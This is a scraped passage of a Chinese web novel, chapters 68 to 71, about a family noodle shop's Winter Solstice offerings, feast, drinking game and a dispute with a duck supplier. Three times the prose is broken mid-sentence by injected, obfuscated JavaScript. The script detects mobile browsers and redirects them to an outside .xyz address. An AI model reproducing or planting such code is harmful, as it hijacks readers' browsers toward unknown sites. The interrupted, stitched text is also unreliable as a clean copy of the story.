陈头家一拿到筷子与调羹便呼噜噜地一边吹，一边往嘴里塞面线与冬至丸。 “头家，这真的好吃吗？” 对陈头家来说，这咸冬至丸汤汤底咸香鲜甜，荤腥十足，那些个被热汤泡过的冬至丸甜味轻微，口感软糯，与咸味汤底搭配起来，半点不会奇怪，甚至……美味得很！ “好吃！跟我娘做的一样好吃！”陈头家一抬头看许春喜盯着自己的盆，忙用手将盆捂上了，“你若是想吃叫许师傅给你煮！你可别惦记我的东西！” 许春喜，“……” 68. 焖羊肉 对于闽南人来说，冬至大如年，这一日除了要吃一碗甜甜蜜蜜的冬至丸作为今年的尾圆外，还要祭祖、食补。 先前普渡时苏月娘和许东山还没成亲，祭祖的事情苏月娘不必插手，可如今苏月娘与许东山成亲了，祭祖的事情她多少也得分担一些。 祭祖备碗的规制都是大差不差的，许东山同普渡那日一样，除了三牲、五果、米面之外，还备了七碗吃食。 都说看冬至的天就能知道除夕的天气如何，今早下了一场小雨，天上阴云遮盖，不见日头，想必除夕那日一定是个大晴天。 等到了中午，路上的雨水干得大半了，苏月娘才准备挑着担子将东西送到祖厝去祭拜许家的先祖。 今天这一日大家都在忙着过冬至，上门吃饭的食客少之又少。 许东山从厨房探了个头，见苏月娘将扁担穿入两条结实的绳里，再艰难地将两个大篮筐挑起后，立即将盛面线糊的大锅勺塞到了林大松手里。 “你和春喜好好看店，我跟月娘去祖厝。”许东山三下两下解开了围身巾挂在门扇上后，便追着苏月娘去了。 苏月娘才走到孤榻上，许东山便将她拦了下来。 “担子给我挑，我跟你去。” 苏月娘忙从肩头拨下这隔着一层厚袄子还硌人的竹扁担交到许东山手里。 “这担子可重死了，才走这两步路，我肩膀就疼得不行……” “怪我，东西装多了……” 许东山稳稳地挑起担子后，苏月娘去牵他没有扶着扁担的那边手。 两口子就这么亲昵地走远了。 坐在门边的许春喜看看体贴的自己大哥再看看厨房里那个一没人就开心哼曲儿的丈夫，一时气从心头来。 她丢下手里的面团，大步冲到厨房里去，一把揪上了林大松的耳朵。 毫无防备的林大松龇牙咧嘴地捂着耳朵，弯着身子站了起来，“诶……诶春喜……痛痛痛……” “你看我哥对月娘多好！还知道帮她挑担去祖厝祭祖！你怎么就没帮我挑过担子呢！” “下次一定……下次一定……” 听到林大松再三保证之后，许春喜才愤愤地放开他，给他拿了点钱，叫他上街去买点补冬的食材。 —— 许家祖厝之内烟雾缭绕，人头攒动，镇上几乎所有姓许人家的媳妇基本都到了。 许东山一踏入祖庙的大门，便在一群身材瘦小的阿婆媳妇里显得格外“鹤立鸡群”。 “这是谁家的尪婿（1）？” “这可真是个稀奇事儿！居然还有男人知道过来祭祖！” “这不是卖面线糊那家的儿子吗！他普渡的时候也自己一个人过来！” “他不是才成亲吗！” 旁人的目光太过灼热，苏月娘干脆从许东山身侧躲到他身后。 有人高马大的许东山在前面开路，苏月娘顺利地走入内门里，等着许东山卸下担子，将扁担搭在门边后，与他一起绕过挤满阿婆媳妇的天井，走向堂屋。 堂屋前的三大张宽供桌被各样编法、字图的竹编篮摆得满满当当的，苏月娘瞧见有人将东西取下来了，忙让许东山将自家的两个篮子摆上去。 “快快快！” 许东山凭借着手长力气大的优势，一把挤开另外几个要将篮子往桌上摆的阿婆，将自家的两个篮子摆了上去，再取下两筐隔层，搭在上头。 面对被挤开的阿婆投来的不悦眼神，苏月娘佯装埋怨地对着许东山的后背拍了两下。 “真是歹势（2）……阿山你怎么这么不懂事呢！还和人家阿婆抢位置！你再这样，下次不带你来了！” 许东山，“……” 苏月娘都教训许东山了，阿婆们也不好太过计较，纷纷另外找位置摆放篮子了。 才挨了苏月娘两掌的许东山从框里翻出金纸和六支香，牵着苏月娘往外走。 有人高举点燃的香，烧成灰的小段香柱随着那人前进的步伐从高处坠下，落下身边人的身上。 “谁啊！烫到我了！长没长眼睛！” 听见旁边人的叫唤声，许东山赶忙将苏月娘护在怀里，“小心点，别被香灰烫到。” 两人越过攒动的人群，走出堂屋，回到人稍微少一些的院子里，借着外头的小烛点了香，而后一起站在正中，高举着香，对着内里的祖先们说出心里头的诉求。 “你在外头折金纸，我去里面插香。” 许东山斜捏着六只香，另一手展开护在香前，以免香灰砸下烫伤身边的人。 苏月娘寻了个好位置坐下折金纸，边上那些观察她许久的阿婆媳妇纷纷与她搭起话来。 “你家阿山还真是体贴，嫁给我家那个老东西几十年了，他都不知道陪我过来！” “你家那个虽然长得凶，但人还挺不错的！” 原先半刻钟能折完的金纸，为了能听大家伙夸许东山，苏月娘愣是在那儿慢吞吞地折了两刻钟。 不方便凑到女人堆里也不爱去闻浓郁烟火味的许东山只能靠在清冷的墙角，盯着不远处的苏月娘同人谈笑风生。 等苏月娘听开心，她才捧起折好的一大团金纸，喊上脸被风吹僵的许东山一起去烧金。 他们来得晚，前头已经有不少人已经烧了金，金灰积攒了八分满，许东山站在边上用长棍搅了搅金灰，才叫苏月娘将金纸放进桶里。 折成单花筒的金纸被火点着，窜出的火焰照亮了苏月娘的眼。 她靠在许东山身边，闭上眼睛，对着大金桶双手合十。 “赚不赚钱无所谓，但一家人都要平平安安，健健康康的……” 比起旁人那大富大贵的祈愿，苏月娘自认为自己的祈愿已经足够简单了。 许家的祖先们应该能实现她这个小小的愿望吧？ —— 冬至最重要的事情还是食补。 冬至也是小年兜，家家户户都会备上几样平日里不舍得买的大补食材在冬至夜里食用，以驱散冬日寒冷。 左右今日生意也一般，苏月娘便不做傍晚的生意了，早早关上大门，与大家伙一起在厨房里捣鼓今晚的大餐。 六人吃得丰盛，林大松将许春喜给的钱花得一干二净的，买了羊肉、鹅肉、排骨还有一只肥肥的老母鸡。 羊肉、鹅肉、排骨口感、味道大不同，同用焖炖做法，并不会叫人觉得重复腻味。 而肥硕的老母鸡则是适宜炖成金黄的浓郁鸡汤。 如此荤且补的一顿饭，配上饱满的白米饭便是最合适的。 每人各领一样食材，各守一方锅灶，无事可做的阿生四处玩耍，最后还跑到自家地里摘了两样菜带回店里，叫蒸完米饭的许春喜炒了。 厨子家里什么东西都有。 许东山从库房里翻出了一把苏月娘从没见过的砍骨刀在院子里的粗石上来回磨了磨，而后回屋将那一大扇羊肉用力地剁成小块。 一大盆味腥膻的羊肉入到冷水中，加入老姜母、葱结料酒焯得肉色变灰后捞出。 已经将老母鸡炖在锅里的苏月娘顺手将焖羊肉要用的草果、丁香、花椒、八角、川穹、香叶、白芷丢入空置的小锅中炒香，再放入煮面线糊用的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15510308|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小纱布包里头放在许东山那边的灶头上。 炒熟的香料倒是威力不凡，还在剁排骨的林大松闻见那股香料味儿，立即就想起了各样需要用到香料的硬菜，一时间他就跟中午没吃饭似的，肚子不争气地咕咕叫了起来。 食补要的，便是补得不怕冬日的寒冷，要驱寒，最简单的食材就是随处可见的老姜母。 只要尝过老姜母浓郁的辛辣，身子基本能够暖和起来。 正好今日羊肉买得多，许东山便一口气片了半兜子老姜母，丢入热油里爆香至表面变得微微发赤。 方才厨房里还都是香料味，这下姜母一爆香，姜母味便窜得到处都是。 “这么多姜……闻着都热！”味道太过浓郁了，苏月娘探身将窗子开大了。 “别闻现在味道这么大，等出锅了，这姜味就被羊膻中和得差不多了！”颇有经验的许春喜开了院门。 羊肉倒入油姜中倒入一圈料酒煸香，再放入生抽老抽、腐乳汁、少许醋、两小块冰糖、几粒红枣以及四瓣劈开的青皮甘蔗头。 最后丢入香料包、倒上加饭酒与清水后搅拌均匀，丢入一根瓷汤勺（4）后，即可盖上锅盖慢慢焖炖。 —— 傍晚，外头又淅沥沥地下起小雨。 阿生握着许东山给他砍的一截甘蔗，拎着桶，打开大门，坐在孤榻里啃甘蔗望雨。 青皮甘蔗比起黑紫皮甘蔗来说外头的硬皮会更脆，连前两日才掉了一颗门牙的阿生都能轻易将皮咬下。 这下着小雨的冬至天里，大家都忙着补冬，街道无人，只有各家各户飘出的香味四处穿梭。 香甜的甘蔗叫阿生吃得入迷，不一会儿，摆在他脚边的桶里就已经积攒了一堆被咬干了甘蔗汁的甘蔗渣渣(^.^)。 “你家今天没有咸水鸭吗？” 听见有人说话的阿生顺声望去，只瞧见一个穿得还挺不错的人站在伞下往里望。 但他说的话，阿生听不懂。 正想回去喊大人出来看看，苏月娘就用碗装着一块焖羊肉跑出来。 “你这没牙的来试试羊肉，看看能不能嚼得动！” “干娘，有个人说我听不懂的话！” 苏月娘弯腰将碗和筷子递给阿生后，直起腰看了过去。 是周伯益。 “周大人快进来！” 周伯益看苏月娘招了手，走上台阶后便收了伞，靠在柱边滴水。 “我今天想吃咸水鸭！” 怕苏月娘听不懂，周伯益特意用他前两天刚从刘昌那儿学来的蹩脚闽南话将咸水鸭重复了两遍。 勉强听懂了的苏月娘面露为难，“实在抱歉，今天没有咸水鸭……” 看苏月娘摆手了，周伯益朝苏月娘点了点头后，便提伞要走。 一旁的阿生已经尝了一口焖羊肉，“干娘，这羊肉我能咬得动！” 苏月娘听了，连忙去拦周伯益。 “周大人要是不嫌弃，就留在我家一起吃饭吧！” 周伯益听不懂，只能面露疑惑地看着苏月娘。 苏月娘只能做出吃饭的动作。 “阿叔您一起留下来吃吧！今天都是好菜！”阿生站起来，用他被甘蔗汁染得黏糊糊的小手去牵周伯益的手，愣是和苏月娘一起，将不知所云的周伯益请进了家里。 “阿山！周大人过来了！添一双筷子！”苏月娘让阿生陪周伯益玩一会儿，自己去厨房里催一催大家伙出菜。 周伯益原想拒绝，但闻见厨房里的阵阵香味，他揉了揉饿瘪的肚子，决定留在这儿和这一家子吃一顿！ 69. 闽南划拳 甘蔗焖羊肉、焖鹅肉、焖排骨、炖老母鸡汤以及两样用来解腻的清炒菜陆续端出。 周伯益数次想要拾起手边的筷子开吃，但一想到这是别人家，到底是忍住了。 等大家伙都入座了，许东山才端出今天的头菜——冬至丸走出来。 “先别动筷，先吃冬至丸！”苏月娘一碗一碗地将装了不到五成满的冬至丸分发到大家伙的面前。 “今天早上教你的还记得吗？给大家演一演！”林大松拍了拍阿生的屁股。 阿生双手捧着碗，将碗挪到自己面前后，才煞有其事地清了清嗓子，摇头晃脑地念道： “冬至丸，搓一双，风调雨顺好年东。” “冬至丸，搓一对，四季平安大富贵。” “冬至丸，搓一碗，五谷丰登做大款。” “冬至丸，搓圆圆，阖家平安探大钱（1）！” 包括什么都没听懂的周伯益在内，所有人都为阿生热烈地鼓起了掌。 阿生难得不好意思了起来，两边面颊变得跟碗里的粉色冬至丸一般红。 “周大人快尝一尝这甜汤！喝了甜汤就能吃这些硬菜了！” 周伯益半知不解地点了点头，跟着大家伙一起吃起了冬至丸。 他从住宅那儿一路走来，瞧见不少人家都端着一碗这样的又白又红的小丸子坐在自家门口吃。 他那时猜想这应是一碗甜汤，月娘小吃铺应当会售卖。 没想到来了这儿，还真让他蹭到了这一口甜的。 冬至丸放在第一道只是为了求一个好兆头，每一碗也就十来颗冬至丸和四五口汤，这份量少，并不会占肚子。 “阿山，哥，你们两个照顾一下周大人！” 许东山与林大松立即响应。 两人也不知道周伯益有什么忌口的，便不帮他夹肉了，两人对视了一眼后，一个盛饭，一个盛汤。 周伯益接受了两人的好意，笑着将饭碗与汤碗拢近了一些，“多谢多谢……你们不用管我……我自己来就好！” 许东山与林大松原本也就没想再接着帮周伯益什么，两人就是给他打了个样儿，将泛着油花的红棕色汤汁浇到米饭里，再夹上一块带着软嫩肉皮的焖羊肉盖在饭上头。 周伯益早被那盆味道最香最浓郁的焖羊肉勾得五脏老爷哇哇大叫了，主人家动了筷子，他便有样学样，浇汤汁夹羊肉。 吃这样汤汁丰富的肉块对于周伯益这样蓄了长胡的风雅文人来说多少有些不方便。 他夹着那一大块羊肉对着自己的嘴比划了一番，用筷子将羊肉分成小块略显不礼貌，所以…… 周伯益左手撩胡，半掩于口前，随后张大嘴巴，一口将羊肉塞进嘴里。 这羊肉倒是出乎他的意料，不怎腥膻又极为软烂，咸香之余，还有些发甘。 看着盆里那几条有节有体的长条，周伯益回想起初来乍到之时曾经视察过百姓农耕，跟着百姓学过几样作物如何说。 “甘……甘蔗？” 不算标准，但大家都听得懂。 “这羊肉里确实放了甘蔗！我们这儿的青皮甘蔗脆又甜，要是周大人感兴趣，一会儿给您带上一捆！”苏月娘指了指靠在角落里的几条比许东山还高的青皮甘蔗。 周伯益琢磨了一下后，点了点头。 看着周伯益又开始捂嘴吃起了羊肉，苏月娘再看看许东山。 许东山吃饭吃得潇洒，张了嘴就咬肉，咬到了肉就闭上嘴咀嚼，虽然已经比街头那些张嘴乱咂的男人文雅多了，但苏月娘还是觉得他半点比不上周伯益。 察觉到苏月娘在看自己，许东山给她舀了一勺排骨放在碗里头，“大松做的排骨也不错，你尝尝。” 苏月娘压低声音，道：“你学一学周大人啊！人家吃饭多文雅啊！” 就算以前家里有钱都不知何谓文雅的许东山悄悄看了周伯益几眼，“……” 难道他不是因为胡子太长才捂着嘴吃的吗？ 旁人说话，周伯益也没听懂，有人同他说话，他就囫囵应一声，大多数时间他都在进食，后来吃得太忘情了，他也就忘记要撩胡子捂嘴了。 长长的胡须上滴了几滴酱汁，人中胡下的嘴唇泛着油光。 见连苏月娘夸赞有加的周伯益都因陷在美味的吃食里而忘记要文雅了，许东山暗道这当官的其实也就是与自己一般的凡夫俗子一个。 有大盆肉菜，必然就要有美酒。 这时候，林大松大老远从浮桥带来的两大坛酒就派上了用场。 “周大人，这是我爹自己酿的米酒，滋味定然与您平日里喝的贵价酒不同，您尝一尝！” 周伯益一边往外抽排骨骨头，一边接过林大松递来的米酒嘬了一口。 农家自酿的米酒自是不比他在繁华之地喝的清酒那般清澈爽口，但是市井酒水配市井菜也是风味相适配。 已经尝遍了东南西北各地吃食的周伯益接受良好。 他甚至举着酒碗，同左右的许东山与林大松碰了碰。 能和这样的大人物同桌吃肉喝酒，林大松心里头自豪得很，这一自豪，就一口喝了一碗酒。 一碗酒下肚，林大松有点飘。 “大哥，咱俩划一拳！” 许东山看了眼林大松，“周大人在呢。” 周伯益看了眼林大松伸出的手，“你要划拳？我同你换个位置！” 林大松和周伯益比划了半天，终于顺利地换了个位置，这下子许东山不划都得伸出手跟着划两下了。 （2）闽南划拳称为“五魁七窍”，此名起于闽南划拳寓意丰富的独特口诀。 单操、三来、四洪、五魁、六连、七窍、八仙、九怪、十全。 周伯益伸长脖子看许东山与林大松展指折指念口诀。 许东山与林大松划拳技术不相上下，两人头一局焦灼了数十个来回。 划拳是一种轻易会上头的游戏，原先许东山还压着声，划到后面，他的声音越来越大，脸也越来越红。 这还是苏月娘第一次看他这般兴奋地与弟兄划拳。 还怪有气势的。 第一局，许东山输了，罚了一碗酒。 而同样激烈的第二局，许东山扳回一城，林大松罚酒。 周伯益看两人划了两局，有些跃跃欲试的。 “你俩教教我！” 许东山与林大松有求必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15516265|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应，两人耐心地教起周伯益如何划拳。 好在周伯益脑子好，这语言不同、手势不同的闽南划拳还真叫他学会了。 接下来的半个多时辰，苏月娘、许春喜、红姑祖孙就看着周伯益、许东山、林大松三人轮流划拳。 才刚学会的周伯益自是占不了什么好，一开始脑子还算清醒的许东山林大松还懂得让一让他，后来，喝得有些上头的两人就毫不留情地让周伯益喝酒。 周伯益乐在其中，很是痛快地喝下了一碗又一碗的酒。 —— 送走了周伯益和红姑祖孙，再将用过的碗筷清洗干净已经马上子时了。 苏月娘和许春喜边数落着自家喝多了就有些不懂礼数的丈夫，边往后屋走。 这时候两个醉鬼已经自觉地洗干净身上的酒味躲在被窝里呼呼大睡了。 苏月娘先取了衣裳，抢了个先，赶在许春喜出来之前占了浴房简单洗了洗。 再次打开房门，她一抬头，便瞧见桌边坐着个人。 她惊叫了一声。 定睛一瞧，桌边那人是刚刚还在睡觉的醉鬼许东山。 “你怎么又起了？赶紧去休息！”苏月娘走过去，捏了捏他结实的臂膀。 许东山探头，借着外头的月光，对镜照了又照。 “月娘……你说我跟周大人一样……留个嘴须（3），你觉得怎么样……” 苏月娘搓了搓他每隔一日就仔细刮去胡须的光滑嘴周，“留那个做什么？显老！” 许东山皱眉，“可你嫌我不如周大人文雅！” 苏月娘没想到是这般缘由，她笑出了声。 “人家是当官的，留嘴须看起来能够威严一些……你这个抡大锅的，留嘴须看起来只会更邋遢！” 许东山想想也是，便不在提了。 “要不是今天周大人吃得还算开心，不然今晚我可要同你算账！”苏月娘打了个哈欠，“快同我去睡觉！别着凉了！” 说罢，苏月娘先行掀开被窝，准备上床。 许东山看着她揭开披在外面的厚袄子，露出里面轻薄的寝衣，寝衣随着她的动作飘摆，有时贴在她的细腰上，有时又贴在她饱满的身前。 许东山咽了咽口水。 分明方才喝了不少酒，怎么现在会如此口渴…… “月娘……”许东山从后面抱了上去。 苏月娘一时没有站稳，带着身后的许东山一起跌在柔软的厚被子上。 身后的一处灼热叫苏月娘面红耳赤。 成亲也半个月了，她可什么都懂。 “你喝了这么多……” 苏月娘话还没说完，上衣便被一下子撩开，与许东山火热的手掌相贴。 “不多……我可以……”许东山一把将苏月娘翻了过来，双膝跪在她身侧，长身倾俯，准确地吻住苏月娘的唇。 滚烫的手掌宛若闹人的火蛇四处游动，没一会儿，苏月娘便失了气力，衣衫尽褪，任人采撷。 …… 冬至夜里，比羊肉更能驱散寒意的，大抵是枕边人火热的身躯与耳边的甜言蜜语。 冬至小年兜，食补宴客，酒肉尽兴，来年事顺心。 70. 马蹄酥 冬至一过，离过年就只不到两个月了。 为了过个好年，才补过一顿的人们再次打起劲儿做工挣钱。 连每日睡到天快亮才醒的月娘头家也不例外，她在平日里许东山起床的时辰睁开了眼睛。 屋里依旧是黑漆漆的，糊了一层薄纸的木窗被外头的寒风吹得嘎吱作响，还好窗缝堵得严实，外头的寒风钻不进屋里，浇不灭被窝里的温暖。 苏月娘往还在酣睡的许东山身上蹭了蹭，同样光溜溜的他跟大火炉一般，对苏月娘的亲昵，给的回应只有绵长平和的呼吸。 昨日他陪周伯益喝了不少酒，今日苏月娘也就不强求他早起，抱着他这儿亲一口，那儿捏一下后，苏月娘独自起了床。 煮了一大锅面线糊后，许春喜才揉着眼睛出来接手备料的活。 “你先辛苦一会儿，我出去买油条，打豆浆了！”临出门之前，苏月娘不忘翻出一个小提桶带上，“一会儿送鸭子的过来，你记得把桌上的那一串钱给他！” 许春喜打着哈欠朝苏月娘挥了挥手。 街上已经有了几个提前占位的小摊贩了，苏月娘提着桶挎着篮出现时，几个相熟的小摊贩纷纷朝她吆喝道： “难得看月娘头家这么早出来！今天的菜头可水灵了！来两条吗？” “我这里的包菜也不错！大颗又甜！正好配你家的咸水鸭！” 今天负责干重活的两个男人都起不来，苏月娘总不好带太多东西来来去去。 她摆摆手，“你们先把东西留着！一会儿我让阿山出来买！” “好嘞！” 一路与熟人招呼过去，总算是到了面香飘散、油烟向外冒的油条店。 油条店许头家捏着比他小手臂还长的粗木筷子在大油锅里反复翻着半熟的油条。 “许叔！老样子！” 许头家和许东山同祖同宗，如今苏月娘与许东山成亲了，自是要改口随着许东山喊许头家一声叔叔。 话说这还是苏月娘头一回喊许头家叔，许头家眯了半天眼睛，才透过白色油烟瞧见外头的人是苏月娘。 “呦！我都好几个月没看到你出来买油条了！你家阿山呢！” “昨天家里有客人，阿山多喝了两杯，到现在还起不来！” 趁着锅中的油条还半生不熟的，许头家将已经备好的三十根油条用草绳捆成一捆，放到了苏月娘的篮子里。 “再给我打点豆浆吧！要六个人喝的！”苏月娘再将小提桶递了上去。 许头家一边去接桶，一边抄起筷子翻一翻锅里的油条，“我家这豆浆都是你阿婶一把一把地从布里攥出来的，保证一点黄豆渣都没有！对了，你要多甜？我把糖给你下了！” “家里人口味都不大一样，我回去自己下吧！” 许头家往提桶里舀了十几勺豆浆后，顺带从后边提了一捆绑好的马蹄酥交给苏月娘。 那是一捆巴掌大、剪型的黄色油条，名叫马蹄酥，苏月娘从前吃过几回。 “这个送你尝尝，感谢你这半年多以来一直照顾我的生意！现在我和你阿婶手头宽裕了，我就想着多卖点东西！以后有需要，尽管过来！” 既然苏月娘喊许头家一声叔，自然也就爽快地收下了许头家送的马蹄酥。 —— 苏月娘带着东西回到了店里，出门时还在贪睡的许东山和林大松已然在厨房里备料了。 “来来来，先别忙活了！我去打了一桶豆浆，大家趁热喝了！” 林大松是头一个跑出来的。 “昨晚喝了那么多酒，总觉得肚子里烧烧的！你快给我盛一碗压一压！” 晚一步出来的许东山兄妹俩，一人拿糖罐子，一人捧碗和勺。 “要多少糖自己下！” 苏月娘从篮子里拎出油条放到厨房去，再拿出马蹄酥、肉包子、菜包子摆在桌上。 昨晚吃多了油腻的荤菜，今日就最需要一顿简单清淡的早食来缓一缓胃口。 “我家那儿都没怎么卖马蹄酥！我可想死这一口了！”林大松难得抛弃了他钟爱的大肉包子，先夹起一个马蹄酥往嘴里塞。 其实马蹄酥通俗一点来说，便是做成剪型的甜味油条，像许头家这样一点讲究一点的师傅，会在这马蹄酥面糊里加上一把黑芝麻做点缀。 比起单纯面香味、容易炸出油烟味的炸油条来说，这甜味的马蹄酥会显得更加可口，虽是同一口油锅炸出来的，油味儿却少了很多。 林大松一口油甜的马蹄酥就一口清香的豆浆吃得喷香。 一口气吃了两个后，他又要拿第三个，指头还没碰到马蹄酥，便被许春喜一把拍了回去。 “你少吃点！红姑和阿生还没尝呢！” 林大松委屈地将手收了回去。 近来他每天对着沉重的大锅干活就算了，有时还要负责买菜洗碗，这里的活重得他的饭量都大了一倍。 许春喜到底是心疼他的，还将自己的肉包子掰了半个给他。 林大松一口将那半个包子吃了，又跟一条没心没肺的小狗一样，围着许春喜转了起来。 …… 如今，咸水鸭饭已经全然替代了排骨咸饭。 从头一日的六只，到第二日二十只，再到如今的三十只，每一日备好的鸭子都能轻松卖空。 三十只鸭子可不少，虽每顿只售十五只，但家里的大锅大小有限，装十五只鸭子实在勉强。 为此，苏月娘特意往铁匠铺跑了一趟，叫铁匠加急打两口装鸭子的大锅。 新的大锅许东山外加一个林大松才能环抱得住，装鸭子必然不在话下。 洗鸭子时，许春喜才想起了今早卖鸭贩子对她说的事。 “卖鸭子的说咱们给的价太低了，要一只加五文，今日还是我好说歹说叫他先按原价收了钱！” “不是说好咱们只在他们家买鸭，他们按三十八文一只卖吗？怎么还变卦了？”苏月娘往鸭肚子里来回掏了掏，血水洗干净后，便将鸭子丢到了一旁的大锅去，“而且这些鸭子的个头也太小了！” 许春喜瞥了一眼院子里新砌的墙，道：“那时他给我们家送完鸭子，还往隔壁那家走了去！你说……这事不会和隔壁那家有关系吧！” 自打普渡那会儿的梁子彻底结下之后，李金花便卯足了劲儿地想给苏月娘和许东山使绊子。 买鸭子这事儿不用想也知道是李金花在背后使劲儿。 “这李金花，真叫人倒胃口！” “那咱们是要加钱，还是……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519072|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>洗完最后一只鸭子的苏月娘皱着眉想了一会儿，等许春喜帮她冲了手后，便往屋里去了。 “阿山！” 许东山正在备煮咸水鸭的料。 “怎么了？”许东山回过头。 “一会儿辛苦你去找那个卖鸭子的！以后让他不用送鸭了！”苏月娘抱着臂，脸上神情严肃。 许东山不知所云地放下手中的香料，朝她走去，“怎么回事？” 许春喜正好进来将事情与许东山解释了一遍。 许东山亦是愤慨。 加不加价还可以商量，那人要不要与李金花做生意他们也管不着，但这才和他做了没几天生意，他就敢拿着个头小一些的鸭子来糊弄…… 这样的供鸭贩倒不如换了！ “午后我去和他理论！理论完我再去找别的卖鸭的！” “大哥，我和你去！他要敢耍滑头，我跟你一起揍他！”林大松扬了扬他的拳头。 —— 午后，许东山与林大松一起逮到了蹲在街上卖鸭的贩子。 贩子看这两人气势汹汹的，便知道这两人是为了鸭子的事情来的，还没来得及赔笑脸，他便被林大松一把揪了起来。 “你要和李金花做生意你就做呗！要加价你就来和我们商量呗！拿三十只瘦鸭子糊弄谁呢！” “我……我……”卖鸭贩子一瞥见边上那额角一道刀疤的姓许煞神后，狡辩的话到了嘴边，又咽下了，“不……不然不加价了……我……我照常那样卖！我也就是受李金花挑拨才……” 许东山抬手打断了他的话，“你做生意不诚信，就算你不加价，我们也不买了！谁知道你会不会哪一天突然往我们的鸭子里下毒！” “我……” 许东山没给他解释的机会，“大松，把人放开，我们走！” 林大松冲卖鸭的冷笑一声，“祝你生意兴隆！越做越穷！” …… 偌大凤池镇，能一次性卖出几十只鸭子的贩子也就那么三两个。 许东山与林大松走了半个镇子，都没有问到合适的卖鸭贩子，最终也只能去收了几只散鸭应付一下明日的生意。 收获不丰的两人往家的方向走。 许东山皱着眉，一边走一边思索着要怎么解决鸭子的事情。 走着走着，林大松忽然大叫了一声。 许东山拧眉朝他看去，“你大呼小叫什么？” 林大松一脸兴奋地拍着许东山的臂膀，“大哥！你想想我爹娘是做什么的！” 听此，许东山定定地看了他好一会儿。 林富贵夫妇俩的那座山头有果园，还有满地溜达的鸡鸭，当时在考虑许春喜的婚事时，林大松为了让许东山放心，愣是拉着他上了自家山头转了一圈。 一年多过去了，许东山依旧对那一山头密密麻麻到处乱跑的鸡鸭记忆犹新。 虽然浮桥离这儿太远，运送鸭子可能有些不大方便，但许东山觉得，这事儿完全可以考虑！ “你前几日不是说阿舅这两天会带阿妗过来坐坐吗？” 林大松点头，“不是今天就是后天……” “咱们先回去和月娘谈谈这事儿！如果月娘点头了，等阿舅阿妗过来了，再和他们商量！” 71. 姜母鸭 许东山与林大松匆匆赶回家，与苏月娘说了这事儿。 苏月娘仔细地思索了一番，摇了摇头。 “浮桥离凤池太远了，来回一趟可不容易，更何况一次就得送几十甚至上百只鸭子，这么多鸭子，咱们往哪放呢？” 鸭子往哪放的问题倒是难住了许东山和林大松。 就算是有地方放鸭子，那这些鸭子谁来杀？谁来照看？ “鸭子的事情我再想想吧！” …… 次日。 许东山刚从厝边家里收回前一日向厝边们买的散鸭，林富贵和张氏便正好带着家里的土产过来了。 苏月娘去接阿舅阿妗时悄悄瞟了一眼，骡车后板上当真是什么都有，甘蔗、香菇、冬笋、老姜母、一桶麻油……以及木条笼子里关着的鸡鸭。 “带这么多东西过来做什么？我们这儿可什么都有！” 苏月娘将冻得脸有点僵的阿舅阿妗请进了家门，并给他们倒上了热气腾腾的茶水。 “自家山上种的东西肯定比你们在外头买的好！”林富贵连喝了好几口茶水，手脚才暖和起来。 “你阿舅说得对！外头许多人想买咱们家的鸡鸭作物呢！每次一到镇上去叫卖，都不用一个时辰，东西就被买光了！” 林富贵指了指许东山正往里提的笼子，“笼子里的鸡鸭养了得有一年多了！你们这两天杀了，炖汤喝！” 林大松半点没忘记苏月娘还没解决鸭子的事情，他往林富贵身边一凑，问道： “爹，咱们家还有多少鸭子？” 平日里，林大松闲散惯了，对自家山上的果园、鸡鸭从不过问，忽然这么一问，林富贵觉得甚是稀奇。 他与妻子对视了一眼。 “怎么？在这干不动想回去养鸡养鸭了？” 林大松脸一皱，“是月娘要买鸭子！” 林富贵难免疑惑，“月娘什么时候卖起了鸭子了？” 话都说到这儿了，苏月娘只能将这两日碰见的事情一五一十地说给林富贵听。 得知隔壁的毒妇在背地里给自家外甥女使绊子，林富贵气得差点砸杯子。 等他对着靠隔壁许氏面线糊最近的那堵墙痛骂了李金花足足半刻钟后，再一回头，一堂屋的客人都盯着他笑。 林富贵老脸一红，赶紧拉上妻子，叫上儿子儿媳去后堂屋坐着接着聊。 殊不知，这墙极易透声，加上林富贵常年在山上干活，嗓门大得跟敲锣一样，隔壁的李金花将林富贵的骂声听得一字不落。 于是，隔壁的客人就这么看着李金花跟唱戏一样，在厨房里又摔又打。 …… 林富贵也知道自己嗓门大，怕自己再骂会影响苏月娘做生意，他便暂时咽下这口恶气，打算攒着回去的路上再和张氏一起骂。 “爹，您喝茶！别伤了嗓子！” 接过贴心的儿媳妇送来的茶后，林富贵抿了一口，润了润嗓子，压低声音对苏月娘问道：“你在外面买的鸭子多大？一只多少钱？” 苏月娘用手给林富贵比划了一下，“这么大，一只三十八文！” 